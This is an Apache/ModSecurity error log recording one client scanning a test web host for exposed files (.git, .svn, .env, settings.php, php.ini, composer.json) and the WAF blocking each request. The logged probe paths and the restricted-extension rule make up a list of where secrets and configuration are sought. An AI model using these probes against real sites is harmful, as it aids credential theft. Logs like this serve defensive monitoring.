[Sat May 10 15:41:02.241768 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RJQAAAAA&quot;]
[Sat May 10 15:41:02.241964 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RJQAAAAA&quot;]
[Sat May 10 15:41:02.264332 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RJgAAAAA&quot;]
[Sat May 10 15:41:02.264575 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RJgAAAAA&quot;]
[Sat May 10 15:41:02.264757 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RJgAAAAA&quot;]
[Sat May 10 15:41:02.286961 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RJwAAAAA&quot;]
[Sat May 10 15:41:02.287224 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RJwAAAAA&quot;]
[Sat May 10 15:41:02.287411 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RJwAAAAA&quot;]
[Sat May 10 15:41:02.309638 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RKAAAAAA&quot;]
[Sat May 10 15:41:02.309877 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RKAAAAAA&quot;]
[Sat May 10 15:41:02.310058 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RKAAAAAA&quot;]
[Sat May 10 15:41:02.332450 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RKQAAAAA&quot;]
[Sat May 10 15:41:02.332676 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RKQAAAAA&quot;]
[Sat May 10 15:41:02.332866 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RKQAAAAA&quot;]
[Sat May 10 15:41:02.426857 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/sites/default/settings.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /sites/default/settings.php found within REQUEST_FILENAME: /sites/default/settings.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.php&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RLQAAAAA&quot;]
[Sat May 10 15:41:02.427125 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.php&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RLQAAAAA&quot;]
[Sat May 10 15:41:02.427318 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.php&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RLQAAAAA&quot;]
[Sat May 10 15:41:02.758462 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RMgAAAAA&quot;]
[Sat May 10 15:41:02.758839 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RMgAAAAA&quot;]
[Sat May 10 15:41:02.759033 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RMgAAAAA&quot;]
[Sat May 10 15:41:02.827752 2025] [authz_core:error] [pid 3059055] [client 154.83.103.111:56996] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Sat May 10 15:41:03.015605 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RPQAAAAA&quot;]
[Sat May 10 15:41:03.015868 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RPQAAAAA&quot;]
[Sat May 10 15:41:03.016062 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RPQAAAAA&quot;]
[Sat May 10 15:41:03.061885 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/composer.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RPwAAAAA&quot;]
[Sat May 10 15:41:03.062146 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RPwAAAAA&quot;]
[Sat May 10 15:41:03.062368 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RPwAAAAA&quot;]
[Sat May 10 15:41:03.084661 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RQAAAAAA&quot;]
[Sat May 10 15:41:03.084907 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RQAAAAAA&quot;]
[Sat May 10 15:41:03.085145 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RQAAAAAA&quot;]
[Sat May 10 15:41:03.377846 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RRAAAAAA&quot;]
[Sat May 10 15:41:03.378216 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RRAAAAAA&quot;]
[Sat May 10 15:41:03.378483 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RRAAAAAA&quot;]
